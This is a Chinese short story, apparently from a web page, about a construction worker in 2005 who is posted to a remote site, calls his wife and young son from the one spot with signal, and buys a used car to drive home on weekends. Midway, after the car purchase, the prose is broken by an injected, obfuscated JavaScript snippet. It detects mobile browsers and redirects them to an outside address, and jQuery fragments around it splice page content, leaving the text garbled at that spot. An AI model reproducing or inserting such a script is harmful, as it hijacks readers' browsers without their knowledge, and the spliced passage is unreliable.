2005年8月底的一个下午,陈实被叫到李经理办公室。
“坐。”李经理指了指对面的椅子,递过来一份文件,“公司接了个新项目,在河池,县城的一个商住楼。甲方点名要我们做,但那边条件艰苦,需要有人驻场。”
陈实翻开文件,扫了一眼项目概况。六层框架结构,建筑面积八千多平,工期十个月。
“我去。”他说。
李经理看了他一眼:“不回家商量商量?晨晨才五岁。”
“不用商量。”陈实合上文件,“苏惠会理解的。”
晚上回到家,他把这件事告诉苏惠。她正在厨房炒菜,手里的锅铲停了一下,然后继续翻动。
“要去多久?”
“十个月。每周尽量回来。”
“开车还是坐班车?”
“班车。四个多小时。”
苏惠没再说话。菜出锅了,她端到桌上,喊陈晨吃饭。
吃饭的时候,陈晨一直在说幼儿园的事——今天谁抢了他的积木,老师表扬了他的画,午饭有他爱吃的肉丸子。陈实听着,偶尔应一声。他看着儿子的小脸,心里忽然有些不舍。
晚上哄睡陈晨后,他回到客厅。苏惠坐在沙发上叠衣服,一件一件,叠得很慢。
“想什么呢?”他在她旁边坐下。
苏惠没抬头:“想这十个月怎么过。”
“我每周都回来。”
“四个多小时的车,你周五晚上回来,周日晚上走,能待多久?”
陈实没说话。
苏惠叠完最后一件衣服,抬起头看他:“去吧。那边需要你,家里有我。”
陈实看着她,想说点什么,但不知道说什么。最后只是握了握她的手。
苏惠反手握住他,用力了一下,然后松开:“早点睡,明天还要上班。”
---
2005年9月初,陈实背着行李,坐上了去河池的长途班车。
四个半小时的山路,弯多路陡。他靠着车窗,看着窗外的风景从城市变成农田,从农田变成山岭。过几个隧道的时候,耳朵嗡嗡作响,他张了张嘴,咽了口唾沫,才舒服一点。
河池县城比他想象的还要小。一条主街贯穿南北,两边是三四层的楼房,楼顶晒着花花绿绿的衣服。工地就在县城边上,靠着一座山,从项目部办公室的窗户看出去,能看见满山的桉树。
宿舍是活动板房,六个人一间。陈实的床靠窗,铺好被褥后,他坐在床边愣了一会儿。同屋的人还没回来,只有他一个人,听着外面的风声。
他想起柳州的家——苏惠这会儿应该在做饭,陈晨应该在看动画片。再过一会儿,陈晨会问“爸爸什么时候回来”,苏惠会说“爸爸在盖房子,盖完就回来”。
他掏出公司配的旧摩托罗拉的模拟手机,想打个电话,发现信号只有一格。他走到门外,举着手机四处找信号,终于在一个角落里找到两格。拨通电话,响了三声,苏惠接起来。
“到了?”
“到了。住的地方还行。”
“吃的呢?”
“工地有食堂。”
电话那头传来陈晨的声音:“是爸爸吗?我要跟爸爸说话!”
苏惠把电话递给他。陈晨的声音从听筒里蹦出来:“爸爸!你在哪里?”
“爸爸在河池,很远的地方。”
“那你什么时候回来?”
“周末就回。”
“周末是哪天?”
“过几天就是。”
陈晨沉默了一下,然后说:“爸爸你要快点回来,我画了一幅画给你看。”
“好。爸爸一定快点回来。”
挂断电话,陈实站在那个角落里,看着远处的山。山被夕阳染成橘红色,一层一层的,像凝固的浪。风吹过来,带着草木的气息,和柳州完全不同的气息。
他忽然想起父亲当年去外地出差,是不是也这样——站在陌生的地方,给家里打电话,听着他和母亲的声音,心里又踏实又空落。
踏实的是知道家在那里。空落的是,不在一起。
---
在河池的日子,比陈实想象的更难熬。
工地条件艰苦,没有自来水,用水得去附近村里拉;电压不稳,搅拌机经常停机;当地工人方言重,沟通起来费劲。每天从早忙到晚,回到宿舍已经累得不想动。
但最难熬的,是晚上。
熄灯后,他躺在行军床上,听着同屋的工友打呼噜,听着山风从板房缝隙里钻进来的呜呜声,听着远处偶尔传来的狗叫。那些声音把他包围着,却让他更清醒地意识到——这不是家。
每个周二和周五晚上,他都会走到那个有信号的小角落,给家里打电话。
周二那次,苏惠接的,说晨晨今天在幼儿园得了小红花,回来高兴了一下午。
周五那次,陈晨抢着接电话:“爸爸!我今天吃两个鸡腿!”
“这么厉害?”
“嗯!妈妈说,多吃点,快点长大,就能跟爸爸一起去工地。”
陈实握着电话,喉头有些发紧。
“晨晨,你要好好吃饭,好好睡觉,听妈妈的话。”
“我听妈妈话!爸爸你什么时候回来?”
“明天就回。”
“明天是今天吗?”
“明天就是明天。”
陈晨想了想:“那明天你回来给我讲故事。”
“好,讲故事。”
挂断电话后,陈实在那个角落里站了很久。月亮很亮,照在远处的山上,山脊的轮廓清晰得像剪出来的。他想起柳州的家,想起家里的阳台,想起从阳台看出去的柳江,想起月光照在江面上的样子。
他忽然发现,不管人在哪里,月亮都是一样的。
这让他好受了一点。
---
11月的一个周末,陈实照常坐班车回柳州。
班车在路上坏了两次,等他到家的时候,已经是晚上十点。陈晨已经睡了,苏惠还亮着灯等他。
“饿不饿?给你留了饭。”
陈实摇摇头,走到陈晨房间,站在床边看了很久。儿子又长大了,脸圆了一点,睡梦中还吧唧嘴,不知道在梦里吃什么好东西。
回到客厅,苏惠在给他热饭。他看着她的背影,忽然说:“我想买辆车。”
苏惠转过身,有些惊讶:“买车?”
“嗯。二手的就行。有了车,每个周五能早点回来,周日能晚点走。”
苏惠沉默了一会儿:“钱够吗?”
“攒了一点,再加奖金,差不多。”
“那就买。”
陈实没想到她答应得这么干脆。他以为她会问这问那,会担心安全,会嫌浪费钱。但她什么都没问,只说“那就买”。
“你不担心?”他问。
“担心什么?”
“担心我开车不安全,担心花钱……”
苏惠把热好的饭端到他面前,在他旁边坐下。
“你决定的事,我都支持。”她说,“再说,你能多回来待会儿,我和晨晨都高兴。”
陈实低下头,扒了一口饭。饭很香,但他吃不出味道。他只是觉得,有这句话,这辈子值了。
---
11月下旬,陈实抽了个周末,去柳州二手车市场。
市场很大,到处是“高价收车”“低价转让”的牌子。他转了一圈又一圈,看了十几辆车,不是太贵就是太破。
快收摊的时候,他在角落里看见一辆银色的五菱SPARK。车不大,车身有些划痕,但整体还算周正。他蹲下来看了看轮胎,花纹还行;打开引擎盖,发动机声音平稳;坐进去试了试,挂挡顺滑。
车贩子在旁边说:“2002年的车,跑了五万公里,两万三。价格可以商量。”
陈实又转了一圈,摸了摸车门内侧,看了看座椅磨损。然后站起来:“两万,今天能过户吗?”
车贩子愣了一下,然后笑了:“行,两万就两万。你这人爽快。”
过户手续办了一下午。等陈实拿到行驶证,已经是傍晚。他坐进驾驶座,握着方向盘,忽然有些恍惚。
这是他的车。
他从驾校毕业后,很少摸车。开过项目部的皮卡,开过工友的面包车,但从没想过自己会有一辆车。虽然只是辆二手小五菱,虽然花了两年积蓄,但它是他的。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313205|198899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他发动车子,慢慢开出市场。路过柳江大桥时,他停下来,看着桥下的江水。夕阳把江面染成金色,波光粼粼,像无数碎金子在跳。
他想,以后每个周末,他都能开着这辆车,跨过这座桥,回家。
---
2005年12月的一个周五,陈实提前两个小时收工。
他检查了一遍工地,交代好周末的安排,然后跳上车,发动引擎。从河池到柳州,要翻好几座山,走一百多公里山路。他没走过这条路,心里有些没底,但油门踩下去的那一刻,只有一个念头:回家。
山路比他想象的更难开。弯多,坡陡,对面来车时得小心翼翼。有一处连续下坡,他挂了二档,让发动机带着走,不敢踩刹车太狠。但每一次转过一个弯,离家就更近一点;每一次翻过一座山,离柳州就更近一点。
三个半小时后,他终于看见柳州市区的灯火。
那一刻,他眼眶有些热。
车开进小区的时候,已经八点多了。他抬头看自家窗户——灯亮着。那个暖黄色的光,是他这三个多月来最想念的东西。
他下车,腿有些软,但脚步很快。上楼,敲门。
门开了。苏惠站在门口,笑着看他:“饿了吧?吃饭。”
陈晨从她身后探出脑袋:“爸爸!”
陈实蹲下来,一把抱住儿子。小家伙软软的,暖暖的,带着肥皂的香味。他把脸埋在儿子肩膀上,过了好几秒才放开。
那顿饭,他吃了两碗。陈晨一直在旁边说话,说幼儿园的事,说新学会的儿歌,说妈妈做的红烧肉好吃。陈实听着,偶尔应一声,心里满满的。
饭后,他陪陈晨讲故事。讲完一本,陈晨还要讲,苏惠说“让爸爸休息”,陈晨才不情愿地钻进被窝。
陈实给他掖好被子,坐在床边,看着他闭上眼睛。等儿子呼吸均匀了,他才轻轻起身,带上门。
回到客厅,苏惠在收拾碗筷。他走过去,从背后抱住她。
苏惠愣了一下,然后笑了:“怎么了?”
“没怎么。”他说,“就是想抱抱你。”
苏惠没说话,只是把他的手握紧了一点。
那天晚上,他睡得很沉。没有山风,没有狗叫,没有工友的呼噜声。只有身边熟悉的气息,和窗外隐约可见的柳江。
这是家。
---
周日傍晚,陈实得回河池了。
陈晨站在门口,拉着他的衣角:“爸爸不走。”
“爸爸要去盖房子。盖完房子就回来。”
“什么时候盖完?”
“快了。”
陈晨瘪瘪嘴,没哭,但眼睛红了。苏惠把他抱起来:“爸爸过几天又回来,你不是有那幅画要送给爸爸吗?”
陈晨想起来,让妈妈放下他,跑回房间拿出一张画。画上是三个小人——一个高的,一个矮的,一个更矮的。高的人戴着帽子,矮的人穿着裙子,更矮的人站在中间,拉着他们的手。
“这是我们家。”陈晨说。
陈实接过画,小心地折好,放进贴身的口袋里。
“爸爸收好了。”他说,“等爸爸回来,把它贴在墙上。”
陈晨点点头。陈实摸摸他的头,然后转身下楼。
发动车子,他抬头看了一眼自家窗户。陈晨趴在窗台上,正朝他挥手。他也挥了挥手,然后踩下油门。
回去的路,依然是三个半小时。但这一次,他开得没那么急了。月亮升起来了,照在山路上,路面像铺了一层霜。他打开收音机,里面放着老歌,刘文正《三月里的小雨》,是那种他年轻时最爱听的。
他想起第一次带苏惠去工地那天,她站在七楼,风吹起她的裙摆。想起陈晨刚出生时,皱巴巴的小脸,轻得几乎感觉不到的重量。想起刚才陈晨说的“我们家”,想起口袋里那张画。
他想,这就是他盖了一辈子房子的意义——不是那些楼,那些桥,那些竣工时挂上的横幅。是这些。是家里亮着的那盏灯,是儿子画的画,是妻子的一个拥抱,是月光下开往回家的路。
前方,山路还在延伸。月亮一直在头顶,陪着他。
他握紧方向盘,继续向前。